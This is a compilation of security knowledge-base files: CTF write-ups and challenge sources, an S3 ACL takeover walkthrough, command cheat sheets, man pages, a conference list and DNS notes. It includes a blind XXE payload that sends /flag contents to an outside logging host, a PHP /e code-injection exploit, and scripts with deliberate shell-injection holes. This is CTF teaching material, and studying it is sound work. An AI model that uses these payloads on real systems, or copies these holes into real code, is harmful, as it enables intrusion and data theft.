BASE_URL = "http://35.207.91.38/"
BASE_FOLDER = "out"
DS_FILENAME = ".DS_Store"
def get_file_content(relative_address):
r = requests.get(BASE_URL + relative_address)
if r.status_code == 200:
return r.content
return None
def get_files_and_folders(ds_store_content):
d = dsstore.DS_Store(ds_store_content, debug=False)
files = d.traverse_root()
return set(files)
queue = ["backup"]
while (len(queue) != 0):
item = queue.pop()
print "Parsing: {}".format(item)
f = get_file_content(item + "/" + DS_FILENAME)
if f is not None:
files = get_files_and_folders(f)
print files
for file in files:
new_path = item + "/" + file
if "." not in file:
queue.append(new_path)
else:
print "Content of {}:".format(new_path)
print get_file_content(new_path)
```
The output:
```
root@kali:/media/sf_CTFs/35c3ctf/McDonald# python solve.py
Parsing: backup
set([u'a', u'c', u'b'])
Parsing: backup/b
set([u'a', u'c', u'b', u'noflag.txt'])
Content of backup/b/noflag.txt:
Parsing: backup/b/b
set([u'fun'])
Parsing: backup/b/b/fun
Parsing: backup/b/c
Parsing: backup/b/a
set([u'a', u'c', u'b', u'noflag.txt'])
Content of backup/b/a/noflag.txt:
Parsing: backup/b/a/b
set([u'fun'])
Parsing: backup/b/a/b/fun
Parsing: backup/b/a/c
set([u'flag.txt', u'noflag.txt'])
Content of backup/b/a/c/flag.txt:
35c3_Appl3s_H1dden_F1l3s
Content of backup/b/a/c/noflag.txt:
Parsing: backup/b/a/a
Parsing: backup/c
set([u'a', u'c', u'b'])
Parsing: backup/c/b
set([u'a', u'c', u'b'])
Parsing: backup/c/b/b
Parsing: backup/c/b/c
Parsing: backup/c/b/a
Parsing: backup/c/c
set([u'a', u'c', u'b'])
Parsing: backup/c/c/b
Parsing: backup/c/c/c
Parsing: backup/c/c/a
Parsing: backup/c/a
Parsing: backup/a
```
The flag is hiding in `backup/b/a/c/flag.txt`: 35c3_Appl3s_H1dden_F1l3s
|
sec-knowleage
|
#!/usr/bin/env ruby
# encoding: ascii-8bit
# frozen_string_literal: true
require 'English'
require 'fileutils'
require 'securerandom'
FLAG_PATH = File.join(ENV['HOME'], 'flag')
DEFAULT_MODE = "sha1sum %s | awk '{ print $1 }'"
def setup
STDOUT.sync = 0
STDIN.sync = 0
@mode = DEFAULT_MODE
@file = '/tmp/' + SecureRandom.hex
FileUtils.touch(@file)
@key = output("sha256sum #{FLAG_PATH} | awk '{ print $1 }'").strip
raise if @key.size != 32 * 2
end
def menu
<<~MENU
1) write
2) read
3) change output mode
0) quit
MENU
end
def output(cmd)
IO.popen(cmd, &:gets)
end
def write
puts 'Data? (In hex format)'
data = gets
return false unless data && !data.empty? && data.size < 0x1000
IO.popen("xxd -r -ps - #{@file}", 'r+') do |f|
f.puts data
f.close_write
end
return false unless $CHILD_STATUS.success?
true
end
def read
unless File.exist?(@file)
puts 'Write something first plz.'
return true
end
puts output(format(@mode, @file))
true
end
def mode_menu
<<~MODE
Which mode?
- SHA1
- MD5
- AES
MODE
end
def change_mode
puts mode_menu
@mode = case gets.strip.downcase
when 'sha1' then "sha1sum %s | awk '{ print $1 }'"
when 'md5' then "md5sum %s | awk '{ print $1 }'"
when 'aes' then "openssl enc -aes-256-ecb -in %s -K #{@key} | xxd -ps"
else DEFAULT_MODE
end
end
def secret
FileUtils.cp(FLAG_PATH, @file)
true
end
def main_loop
puts menu
case gets.to_i
when 1 then write
when 2 then read
when 3 then change_mode
when 1337 then secret
else false
end
end
setup
begin
loop while main_loop
puts 'See ya!'
ensure
FileUtils.rm_f(@file)
end
|
sec-knowleage
|
clear
===
清除当前屏幕终端上的任何信息
## 补充说明
**clear命令** 用于清除当前屏幕终端上的任何信息。
### 语法
```shell
clear
```
### 实例
直接输入clear命令当前终端上的任何信息就可被清除。
|
sec-knowleage
|
# pound (Pwnable, 290pts, 20 solves)
In this task, we were given service running `host.py`. It had two functions:
- printing some tweets stored as files
- compiling a binary using user supplied two macros.
We quickly noticed that we could exploit the first function: giving it
`../pound.c` gave us source of compiled binary. In general, we were able
to read any file in the system (readable by our user).
Looking at `pound.c`, we do not see any obvious vulnerabilities. However, since
we control two macros, we were able to create a buffer overflow in this structure:
```
const int N=1024;
const int l1_len = L1;
const int l2_len = L2;
#define STATE_SIZE_LEN 512
struct global_s {
int s1_citizens[l1_len];
int s2_citizens[l2_len];
char s1_name[STATE_SIZE_LEN]; // Name of state 1
char s2_name[STATE_SIZE_LEN]; // Name of state 2
char *announcement;
int announcement_length;
int secret;
} global;
```
We were able to define L1 and L2 as any strings, up to 3 characters long. This turned up
to be quite problematic when generating a vulnerable binary. However, with L1 defined as
`N^9` and L2 as `N*N`, the following line had an error:
```
int length_diff = L2 - L1;
```
This was supposed to calculate difference beween these two constants, but with C operator
precedence, `N*N - N^9` actually meant `(N*N - N)^9`, which gave us an overflow allowing us
to control the `announcement` field in the global structure.
I created a script (`get_binary.py`) downloading their compiled version of the binary
(`their_binary`), in case their compilation process differs from the one on our machine.
At this point, I gave the task to another team member, so no final exploit is given here.
As far as I know, he was able to overwrite that `announcement` field and then use program
code to overwrite GOT entry and eventually exploit the binary to the end.
|
sec-knowleage
|
---
title: Object ACL 可写
---
<center><h1>Object ACL 可写</h1></center>
---
读取 Object 时提示被禁止
</br>
<img width="800" src="/img/1650006998.png"></br>
查看目标 Object 策略发现是可读的,且内容如下:
```bash
aws s3api get-object-acl --bucket teamssix --key flag
```
</br>
<img width="800" src="/img/1650007025.png"></br>
这个策略和上面的 Bucket ACL 策略一样,表示任何人都可以访问、写入当前 ACL,但是不能读取、写入对象
将权限修改为 FULL_CONTROL 后,Object ACL 策略如下:
```json
{
"Owner": {
"ID": "d24***5"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AllUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
```
将该策略写入后,就可以读取对象了
```bash
aws s3api put-object-acl --bucket teamssix --key flag --access-control-policy file://acl.json
```
</br>
<img width="1000" src="/img/1650007059.png"></br>
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年4月15日"
}
}
</script>
|
sec-knowleage
|
---
title: Netstat
date: 2021-01-27 11:44:21
background: bg-slate-700
tags:
- network
- utility
- port
categories:
- Linux Command
intro: |
This quick reference cheat sheet provides various for using netstat command.
plugins:
- copyCode
---
Getting Started
---------------
### Statistics
All connections on port 80
```shell script
$ netstat -anp | grep :80
```
Netstat Help
```shell script
$ netstat -h
```
### Listening
| Option | Example |
|------------------|----------------------|
| `netstat -ltunp` | All Listening ports |
| `netstat -ltn` | Listening TCP ports |
| `netstat -lun` | Listening UDP ports |
| `netstat -lx` | Listening Unix ports |
### Connections
| Option | Example |
|---------------|---------------------|
| `netstat -a` | All connections |
| `netstat -at` | All TCP connections |
| `netstat -au` | All UDP connections |
### Statistics
| Option | Example |
|---------------|------------------------|
| `netstat -s` | Display statistics |
| `netstat -st` | Display TCP statistics |
| `netstat -su` | Display UDP statistics |
### Networks
| Option | Example |
|---------------|---------------------------------------|
| `netstat -i` | Show network interfaces |
| `netstat -ie` | Show network interfaces extended info |
### Routing
| Option | Example |
|---------------|-----------------------------------------|
| `netstat -r` | Show routing table |
| `netstat -rn` | Show routing table, don't resolve hosts |
|
sec-knowleage
|
# blind
Web
## Description:
> Hacking blind: http://35.207.132.47:82
>
> Flag is at /flag
## Solution:
The contents of the website is:
```php
<?php
function __autoload($cls) {
include $cls;
}
class Black {
public function __construct($string, $default, $keyword, $store) {
if ($string) ini_set("highlight.string", "#0d0d0d");
if ($default) ini_set("highlight.default", "#0d0d0d");
if ($keyword) ini_set("highlight.keyword", "#0d0d0d");
if ($store) {
setcookie('theme', "Black-".$string."-".$default."-".$keyword, 0, '/');
}
}
}
class Green {
public function __construct($string, $default, $keyword, $store) {
if ($string) ini_set("highlight.string", "#00fb00");
if ($default) ini_set("highlight.default", "#00fb00");
if ($keyword) ini_set("highlight.keyword", "#00fb00");
if ($store) {
setcookie('theme', "Green-".$string."-".$default."-".$keyword, 0, '/');
}
}
}
if ($_=@$_GET['theme']) {
if (in_array($_, ["Black", "Green"])) {
if (@class_exists($_)) {
($string = @$_GET['string']) || $string = false;
($default = @$_GET['default']) || $default = false;
($keyword = @$_GET['keyword']) || $keyword = false;
new $_($string, $default, $keyword, @$_GET['store']);
}
}
} else if ($_=@$_COOKIE['theme']) {
$args = explode('-', $_);
if (class_exists($args[0])) {
new $args[0]($args[1], $args[2], $args[3], '');
}
} else if ($_=@$_GET['info']) {
phpinfo();
}
highlight_file(__FILE__);
```
The first thing that leaps to the eye is that we are able to view the output of `phpinfo` by sending `?info=1`. However, I did not find anything interesting in the output.
The following code seems like the next place to invest efforts in:
```php
else if ($_=@$_COOKIE['theme']) {
$args = explode('-', $_);
if (class_exists($args[0])) {
new $args[0]($args[1], $args[2], $args[3], '');
}
```
We can supply a class name in the cookie, and the code will instantiate the class for us, together with some user-provided parameters. The programmer intended for this to be used only with `Green` and `Black` classes, but we can provide any class we want (as long as it returns true for `class_exists`).
One option is to try and perform a Blind XXE attack using the [SimpleXMLElement](http://php.net/manual/en/class.simplexmlelement.php) class.
What's an XXE attack?
> An XML External Entity (XXE) attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts. ([source](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing))
This means, that we can create "entities" in the XML which are evaluated during runtime, instead of providing a static XML document. For example:
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>
```
If XML entity processing is allowed, this XML should output:
```xml
<userInfo>
<firstName>John</firstName>
<lastName>Doe</lastName>
</userInfo>
```
Advanced features are available as well, such as the `SYSTEM` keyword, which allows, for example, to leak file content:
```xml
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
```
Now, the `SimpleXMLElement` class "Represents an element in an XML document", but the real beauty of it is hidden in the constructor:
> # SimpleXMLElement::__construct
> ## SimpleXMLElement::__construct — Creates a new SimpleXMLElement object
> ```php
> final public SimpleXMLElement::__construct ( string $data [, int $options = 0 [, bool $data_is_url = FALSE [, string $ns = "" [, bool $is_prefix = FALSE ]]]] )
> ```
> * data: A well-formed XML string or the path or URL to an XML document if data_is_url is TRUE.
> * options: Optionally used to specify additional Libxml parameters.
> * data_is_url: By default, data_is_url is FALSE. Use TRUE to specify that data is a path or URL to an XML document instead of string data.
> * ...
Instead of providing an XML string, we can provide a URL which contains the XML. We just need to make sure that we provide the option of `LIBXML_NOENT` (2), which actually tells the function to "[substitute entities](https://stackoverflow.com/questions/29811915/external-entities-not-working-in-simplexml)" (as opposed to its name).
We can find many different XXE payloads at the [PayloadAllTheThings page](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection). The one that worked for me is "**XXE OOB with DTD and PHP filter**":
```xml
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
File stored on http://127.0.0.1/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">
```
### Step 1: Create Request-Inspector Endpoint:
Head to [RequestInspector](https://requestinspector.com) and create an endpoint. This will provide us with a URL such as `https://requestinspector.com/inspect/01d0fpjtce5cd5ae80menm0hyw`. Every time this URL is accessed, the complete request data (including full URI, headers and parameters) is logged to an interactive realtime log.
### Step 2: Create Secondary XML File:
Head to [PasteBin](https://pastebin.com) and paste the following:
```xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'https://requestinspector.com/inspect/01d0fpjtce5cd5ae80menm0hyw?%data;'>">
```
Raw output will be available in a URI such as `https://pastebin.com/raw/AMFPkydv`.
This command tells the XML engine to take the contents of `/flag`, base64-encode it, and send it as a parameter to the request inspector URI.
### Step 3: Create Primary XML File:
Paste another XML file in PasteBin:
```xml
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "https://pastebin.com/raw/AMFPkydv">
%sp;
%param1;
]>
<r>&exfil;</r>
```
Raw output will be available in a URI such as `https://pastebin.com/raw/n23gK8ig`.
This command tells the XML engine to resolve and execute the other XML file.
### Step 4: Send the Cookie
Access the website with in order to instantiate the SimpleXMLElement element from the URI.
```console
curl --cookie "theme=SimpleXMLElement-https://pastebin.com/raw/n23gK8ig-2-true" http://35.207.132.47:82/
```
### Step 5: View the Request-Inspector Log:
The log shows:
```
GET /inspect/01d0fpjtce5cd5ae80menm0hyw?MzVjM19ldmVuX2FfYmxpbmRfc3F1aXJyZWxfZmluZHNfYV9udXRfbm93X2FuZF90aGVuCg== HTTP/1.1
requestinspector.com
Accept-Encoding: gzip
User-Agent: Go-http-client/1.1
```
### Step 6: Decode the Flag:
The flag is base64 encoded
```
# echo MzVjM19ldmVuX2FfYmxpbmRfc3F1aXJyZWxfZmluZHNfYV9udXRfbm93X2FuZF90aGVuCg== | base64 -d
35c3_even_a_blind_squirrel_finds_a_nut_now_and_then
```
|
sec-knowleage
|
mknod
===
创建字符设备文件和块设备文件
## 补充说明
**mknod命令** 用于创建Linux中的字符设备文件和块设备文件。
### 语法
```shell
mknod(选项)(参数)
```
### 选项
```shell
-Z:设置安全的上下文;
-m:设置权限模式;
-help:显示帮助信息;
--version:显示版本信息。
```
### 参数
* 文件名:要创建的设备文件名;
* 类型:指定要创建的设备文件的类型;
* 主设备号:指定设备文件的主设备号;
* 次设备号:指定设备文件的次设备号。
### 实例
```shell
ls -la /dev/ttyUSB*
crw-rw—- 1 root dialout 188, 0 2008-02-13 18:32 /dev/ttyUSB0
mknod /dev/ttyUSB32 c 188 32
```
### 扩展知识
Linux的设备管理是和文件系统紧密结合的,各种设备都以文件的形式存放在/dev目录 下,称为设备文件。应用程序可以打开、关闭和读写这些设备文件,完成对设备的操作,就像操作普通的数据文件一样。
为了管理这些设备,系统为设备编了号,每 个设备号又分为主设备号和次设备号。主设备号用来区分不同种类的设备,而次设备号用来区分同一类型的多个设备。对于常用设备,Linux有约定俗成的编 号,如硬盘的主设备号是3。
Linux为所有的设备文件都提供了统一的操作函数接口,方法是使用数据结构struct file_operations。这个数据结构中包括许多操作函数的指针,如open()、close()、read()和write()等,但由于外设 的种类较多,操作方式各不相同。Struct file_operations结构体中的成员为一系列的接口函数,如用于读/写的read/write函数和用于控制的ioctl等。
打开一个文件就是调用这个文件file_operations中的open操作。不同类型的文件有不同的file_operations成员函数,如普通的磁盘数据文件, 接口函数完成磁盘数据块读写操作;而对于各种设备文件,则最终调用各自驱动程序中的I/O函数进行具体设备的操作。这样,应用程序根本不必考虑操作的是设 备还是普通文件,可一律当作文件处理,具有非常清晰统一的I/O接口。所以file_operations是文件层次的I/O接口。
|
sec-knowleage
|
<?php
if (!empty($_FILES)):
$ext = pathinfo($_FILES['file_upload']['name'], PATHINFO_EXTENSION);
if (!in_array($ext, ['gif', 'png', 'jpg', 'jpeg'])) {
die('Unsupported filetype uploaded.');
}
$size = shell_exec("identify -format '%w x %h' {$_FILES['file_upload']['tmp_name']}");
echo "Image size is: $size";
else:
?>
<form method="post" enctype="multipart/form-data">
File: <input type="file" name="file_upload">
<input type="submit">
</form>
<?php
endif;
|
sec-knowleage
|
# Level09
#### About
There’s a C setuid wrapper for some vulnerable PHP code…
To do this level, log in as the level09 account with the password level09. Files for this level can be found in /home/flag09.
#### Source Code
```
<?php
function spam($email)
{
$email = preg_replace("/\./", " dot ", $email);
$email = preg_replace("/@/", " AT ", $email);
return $email;
}
function markup($filename, $use_me)
{
$contents = file_get_contents($filename);
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
$contents = preg_replace("/\[/", "<", $contents);
$contents = preg_replace("/\]/", ">", $contents);
return $contents;
}
$output = markup($argv[1], $argv[2]);
print $output;
?>
```
#### Solutions
1. ----> test.txt
[email ${${system(getflag)}}]
2. /home/flag09/flag09 test.txt
#### Recommends
Bash/Zsh/fish shell
|
sec-knowleage
|
.TH NTSYSV 8 "Mon Oct 13 1997"
.UC 4
.SH NAME
ntsysv \- 用于配置运行级别的简单接口
.SH 总览 SYNOPSIS
\fBntsysv\fR [--back] [--level <levels>]
.SH 描述 DESCRIPTION
\fBntsysv\fR 是个用于配置运行级别服务(也可通过 \fBchkconfig\fR 来配置)的简单接口。对于缺省情况,它配置当前的运行级别。 如果用户需要配置其它的运行级别,可以在命令行上用 \fB--levels\fR选项,在其后列出所要配置的那些运行级别,且互相之间不加空格。例如,\fB--levels 016\fR 选项编辑运行级别0、1和6。
如果一项服务是由正被编辑的运行级别中任一级别启动的话,那么它会被考虑在设置的运行级别中启动。
\fBntsysv\fR 窗口通常包含一个\fB取消\fR按钮。如果指定使用\fB--back\fR 选项的话,会出现一个\fB回退\fR按钮作为代替。
.PD
.SH "返回值 RETURN CODES"
\fBntsysv\fR 在正常情况下返回0,在出错时返回2,且如果用户取消(或撤回)程序则返回1。
.PD
.SH "参见 SEE ALSO"
.BR chkconfig (8),
.BR serviceconf (8)
.SH 作者 AUTHOR
Erik Troan <ewt@redhat.com>
.SH "[中文版维护人]"
.B meaculpa <meaculpa@21cn.com>
.SH "[中文版最新更新]"
.B 2000/12/08
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# Beat the map
Category: Programming, 200 Points
## Description
> We got these images with a secret message from one of our agents, but we have no clue where the flag is hiding.
>
> Can you assist?
A zip file was attached.
## Solution
Let's check the attached file:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Beat_the_map]
└─$ unzip beat_the_map.zip
Archive: beat_the_map.zip
inflating: challenge.bmp
inflating: first_hint.bmp
inflating: second_hint.bmp
```
We get three images:
`challenge.bmp`:

`first_hint.bmp`:

`second_hint.bmp`:

The first image is the famous [*Lena*](https://en.wikipedia.org/wiki/Lenna) image - a standard test image widely used in the field of image processing since 1973 (although for the past two decades it has received more and more [criticism](https://en.wikipedia.org/wiki/Lenna#Criticism) and perhaps next time we'll get an image of [peppers](https://links.uwaterloo.ca/Repository.Thumbs/pepperscolorthumb.gif) instead).
The other two are hints, let's try to decode them.
For the first hint, we can use [StegOnline](https://stegonline.georgeom.net/image) or `stegsolve` to review the different bit planes and find a hidden message in the bit planes: `IN_SECOND_HINT_MAKE_ODD_0_AND_EVEN_255`. Let's do that:
```python
from PIL import Image
img = Image.open('second_hint.bmp')
width, height = img.size
new = Image.new(mode="RGB", size=img.size)
for w in range(width):
for h in range(height):
p = img.getpixel((w, h))
new.putpixel((w, h), 0 if p % 2 != 0 else 255)
new.save("hint1_decoded.bmp")
```
We get an image containing the following text: `LSBIT_STEGANOGRAPHY_OVER_TRIANGULAR_SERIES`. The [triangular series](https://en.wikipedia.org/wiki/Triangular_number) is a series representing the number of dots in each triangular pattern: `0, 1, 3, 6, 10, 15` (check the link for a visual example). There's a formula to calculate the n-th member of the series: `f(n) = (n * (n - 1)) / 2`.
We'll use a generator to iterate the series:
```python
from itertools import count
def triangular_series(start = 0):
for i in count(start):
res = (i*(i+1))//2
yield res
```
What's left to do is to iterate the matching pixels and extract the LSB from each, constructing a byte from every eight bits extracted. For some reason, that didn't quite work when using a high-level library such as PIL. What worked was opening the file as a binary, skipping the BMP header and extracting the data from the raw indices:
```python
import os
import mmap
BMP_HEADER_SIZE = 0x436
BITS_PER_BYTE = 8
def memory_map(filename, access=mmap.ACCESS_READ):
size = os.path.getsize(filename)
fd = os.open(filename, os.O_RDONLY)
return mmap.mmap(fd, size, access=access)
with memory_map('challenge.bmp') as b:
series = triangular_series()
while True:
try:
new_byte = 0
for i in range(BITS_PER_BYTE):
new_byte |= (b[BMP_HEADER_SIZE + next(series)] & 0x01) << (BITS_PER_BYTE - i - 1)
print(chr(new_byte), end='')
except IndexError:
break
```
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/checkpoint/Beat_the_map]
└─$ python3 solve.py
>>>>>CSA{lEn4_Y0u_aLm0st_fO0l3d_mE}<<<<<>>>>>CSA{lEn4_Y0u_aLm0st_fO0l3d_mE}<<<<<>>>>>CSA{l
```
|
sec-knowleage
|
from secret import init1,init2,init3,FLAG
import hashlib
assert(FLAG=="flag{"+hashlib.sha256(init1+init2+init3).hexdigest()+"}")
class lfsr():
def __init__(self, init, mask, length):
self.init = init
self.mask = mask
self.lengthmask = 2**(length+1)-1
def next(self):
nextdata = (self.init << 1) & self.lengthmask
i = self.init & self.mask & self.lengthmask
output = 0
while i != 0:
output ^= (i & 1)
i = i >> 1
nextdata ^= output
self.init = nextdata
return output
def combine(x1,x2,x3):
return (x1*x2)^(x2*x3)^(x1*x3)
if __name__=="__main__":
l1 = lfsr(int.from_bytes(init1,"big"),0b100000000000000000000000010000000000000000000000,48)
l2 = lfsr(int.from_bytes(init2,"big"),0b100000000000000000000000000000000010000000000000,48)
l3 = lfsr(int.from_bytes(init3,"big"),0b100000100000000000000000000000000000000000000000,48)
with open("keystream","wb") as f:
for i in range(8192):
b = 0
for j in range(8):
b = (b<<1)+combine(l1.next(),l2.next(),l3.next())
f.write(chr(b).encode())
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "PGTCLSH" "1" "2003-11-02" "Application" "PostgreSQL Client Applications"
.SH NAME
pgtclsh \-\- PostgreSQL TCLshell 客户端
.SH SYNOPSIS
.sp
pgtclsh [filename [argument...]]
.SH "DESCRIPTION 描述"
.PP
\fBpgtclsh\fR 是一个 Tcl shell 接口,用 PostgreSQL 数据库访问函数做了扩展。 (实际上,它是装载了 tclsh 和 libpgtcl。) 和普通的Tcl shell 一样,第一个命令行参数是一个脚本文件, 任何其余的参数都传递给脚本。如果没有命名脚本文件,那么该脚本就是交互的。
.PP
一个带Tk 和 PostgreSQL 函数的 Tcl 是 \fBpgtksh\fR(1)。
.SH "SEE ALSO 参见"
.PP
\fBpgtksh\fR(1), (描述了 libpgtcl), \fBtclsh\fR(1)
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
## Information Security Conferences
- [DEF CON](https://www.defcon.org/) - An annual hacker convention in Las Vegas
- [Black Hat](http://www.blackhat.com/) - An annual security conference in Las Vegas
- [BSides](http://www.securitybsides.com/) - A framework for organising and holding security conferences
- [CCC](https://events.ccc.de/congress/) - An annual meeting of the international hacker scene in Germany
- [DerbyCon](https://www.derbycon.com/) - An annual hacker conference based in Louisville
- [PhreakNIC](http://phreaknic.info/) - A technology conference held annually in middle Tennessee
- [ShmooCon](http://shmoocon.org/) - An annual US east coast hacker convention
- [CarolinaCon](http://www.carolinacon.org/) - An infosec conference, held annually in North Carolina
- [CHCon](https://chcon.nz) - Christchurch Hacker Con, held annually in New Zealand
- [SummerCon](http://www.summercon.org/) - One of the oldest hacker conventions, held during Summer
- [Hack.lu](https://2016.hack.lu/) - An annual conference held in Luxembourg
- [HITB](https://conference.hitb.org/) - Deep-knowledge security conference held in Malaysia and The Netherlands
- [Troopers](https://www.troopers.de) - Annual international IT Security event with workshops held in Heidelberg, Germany
- [Hack3rCon](http://hack3rcon.org/) - An annual US hacker conference
- [ThotCon](http://thotcon.org/) - An annual US hacker conference held in Chicago
- [LayerOne](http://www.layerone.org/) - An annual US security conference held every spring in Los Angeles
- [DeepSec](https://deepsec.net/) - Security Conference in Vienna, Austria
- [SkyDogCon](http://www.skydogcon.com/) - A technology conference in Nashville
- [SECUINSIDE](http://secuinside.com) - Security Conference in [Seoul](https://en.wikipedia.org/wiki/Seoul)
- [DefCamp](http://def.camp/) - Largest Security Conference in Eastern Europe, held anually in Bucharest, Romania
- [AppSecUSA](https://appsecusa.org/) - An annual conference organised by OWASP
- [BruCON](http://brucon.org) - An annual security conference in Belgium
- [Infosecurity Europe](http://www.infosecurityeurope.com/) - Europe's number one information security event, held in London, UK
- [Nullcon](http://nullcon.net/website/) - An annual conference in Delhi and Goa, India
- [RSA Conference USA](https://www.rsaconference.com/) - An annual security conference in San Francisco, California, USA
- [Swiss Cyber Storm](https://www.swisscyberstorm.com/) - An annual security conference in Lucerne, Switzerland
- [Virus Bulletin Conference](https://www.virusbulletin.com/conference/index) - An annual conference going to be held in Denver, USA for 2016
- [Ekoparty](http://www.ekoparty.org) - Largest Security Conference in Latin America, held annually in Buenos Aires, Argentina
- [44Con](https://44con.com/) - Annual Security Conference held in London
- [BalCCon](https://www.balccon.org) - Balkan Computer Congress, annualy held in Novi Sad, Serbia
- [FSec](http://fsec.foi.hr) - FSec - Croatian Information Security Gathering in Varaždin, Croatia
- [SyScan360](https://www.syscan360.org/) - SyScan360 is a well-known Information Security Conference in Asia.
- [KCon](http://kcon.knownsec.com/) - KCon is a famous Hacker Con powered by Knownsec Team.
- [SecTor](https://sector.ca) - An annual Canada's Premier Security Conference held in Toronto
- [HackFest](https://hackfest.ca/en/) - Largest hacking event in Canada, held annualy in Quebec City
- [Steelcon](https://www.steelcon.info/) - Annual security conference held in Sheffield UK (Also runs kids track)
|
sec-knowleage
|
.\" Copyright (c) 1993 Michael Haardt (michael@moria.de),
.\" Thu May 20 20:45:48 MET DST 1993
.\"
.\" %%%LICENSE_START(GPLv2+_DOC_FULL)
.\" This is free documentation; you can redistribute it and/or
.\" modify it under the terms of the GNU General Public License as
.\" published by the Free Software Foundation; either version 2 of
.\" the License, or (at your option) any later version.
.\"
.\" The GNU General Public License's references to "object code"
.\" and "executables" are to be interpreted as the output of any
.\" document formatting or typesetting system, including
.\" intermediate and printed output.
.\"
.\" This manual is distributed in the hope that it will be useful,
.\" but WITHOUT ANY WARRANTY; without even the implied warranty of
.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
.\" GNU General Public License for more details.
.\"
.\" You should have received a copy of the GNU General Public
.\" License along with this manual; if not, see
.\" <http://www.gnu.org/licenses/>.
.\" %%%LICENSE_END
.\"
.\" Modified Sat Jul 24 17:11:07 1993 by Rik Faith (faith@cs.unc.edu)
.\" Modified Sun Nov 21 10:49:38 1993 by Michael Haardt
.\" Modified Sun Feb 26 15:09:15 1995 by Rik Faith (faith@cs.unc.edu)
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH SHELLS 5 2012\-12\-31 "" "Linux 程序员手册"
.SH 名称
shells \- 有效登录 shell 的路径名
.SH 描述
\fI/etc/shells\fP 是一个包含有效登录 shell 完整路径名的文件。该文件供 \fBchsh\fP(1) 查询所用,同时可供其它程序进行查询。
.PP
请注意有某些程序会检查该文件以判断用户是否为一个正常用户;例如,FTP 客户端传统上会禁止那些所使用 shell 没有在该文件中列出的那些用户的访问。
.SH 文件
\fI/etc/shells\fP
.SH 示例
\fI/etc/shells\fP 可能包括下列路径:
.sp
.RS
\fI/bin/sh\fP
.br
\fI/bin/bash\fP
.br
\fI/bin/csh\fP
.RE
.SH 参见
\fBchsh\fP(1), \fBgetusershell\fP(3)
.SH 跋
本页面是 Linux \fIman\-pages\fP 项目 4.09 版的一部分。该项目的描述、有关报告错误的信息以及本页面的最新版本可以在
\%https://www.kernel.org/doc/pan\-pages/ 上找到。
|
sec-knowleage
|
# DNS安全概览
对这块一直很感兴趣,但是拖延了确实很久,本篇开始系统学习一些DNS安全的皮毛。
## 大纲
借用Tr0y师傅系列文章[1]的大纲:
<img src="https://image-host-toky.oss-cn-shanghai.aliyuncs.com/20201104095104408.png!blog" alt="img" style="zoom: 33%;" />
图:DNS安全大纲
## DNS基础
### DNS服务器类型
- Local DNS server(本地DNS服务器)
- 路由器的,机子本地的
- Root DNS server(DNS根服务器)
- 全球的,分布式,总共13个(集群)
- TLD DNS server / Top-level DNS server(DNS顶级域名服务器)
- 熟知的.com、.org等。又会分为一般通用顶级域(e.g. `.com`,)、国家顶级域(e.g. `.cn`)和特殊域(e.g. `arpa`)
- Autoritative DNS server(DNS权威服务器)
- 实际持有并负责DNS资源记录的服务器,大公司会自建,商业DNS服务器也大多为这一类
### DNS解析流程
#### 查询的方法
- 递归查询
- 你问A,A问B,B问C......直到有答案,再相反顺利传话直到传达到你
- 迭代查询
- 你问A,A让你问B,B让你问C......知道你问到答案为止
DNS解析会组合以上的两种查询方法进行。从你的设备开始,刚开始递归,后面开始迭代,具体顺序参考下面
#### 查询的顺序
- Device ==Domian?==> Host file / Local DNS
- if Host file cached this domain's record ==domian:ip==> Device
- Local DNS server ====> Root DNS server
- if Local DNS server cached TLD DNS server's record ====> TLD DNS server
- Root DNS server ==TLD DNS server==> Local DNS server
- If Local DNS server cached Authoritative DNS server's record ====> Auhoritative DNS server
- Local DNS server ====> TLD DNS server
- TLD DNS server ==Authoritative DNS server==> Local DNS server
- Local DNS server ====> Authoritative DNS server
- Authoritative DNS server ==domain : ip==> Local DNS server
- Local DNS server ==domain:ip==> Device
### DNS缓存机制
DNS的缓存分布:

图:DNS缓存分布图[1 ]
### DNS解析类型
- A
- CNAME
- MX
- TXT
- NS
- AAAA
- SOA
- PTR
- AXFR、IXFR
### DNS报文机构
```text
DNS报文:|QID|问题区|应答区|权威区|附加区|
```
// TODO 待补充,参考:https://zhuanlan.zhihu.com/p/92899876
### 其他概念
- 负载均衡
- 区域分布
- 业介入点
- DoT和DoH
- DDNS
- EDNS
## 针对DNS的攻击
### DNS放大攻击
以CVE-2020-8616为例,DNS方法攻击是指:
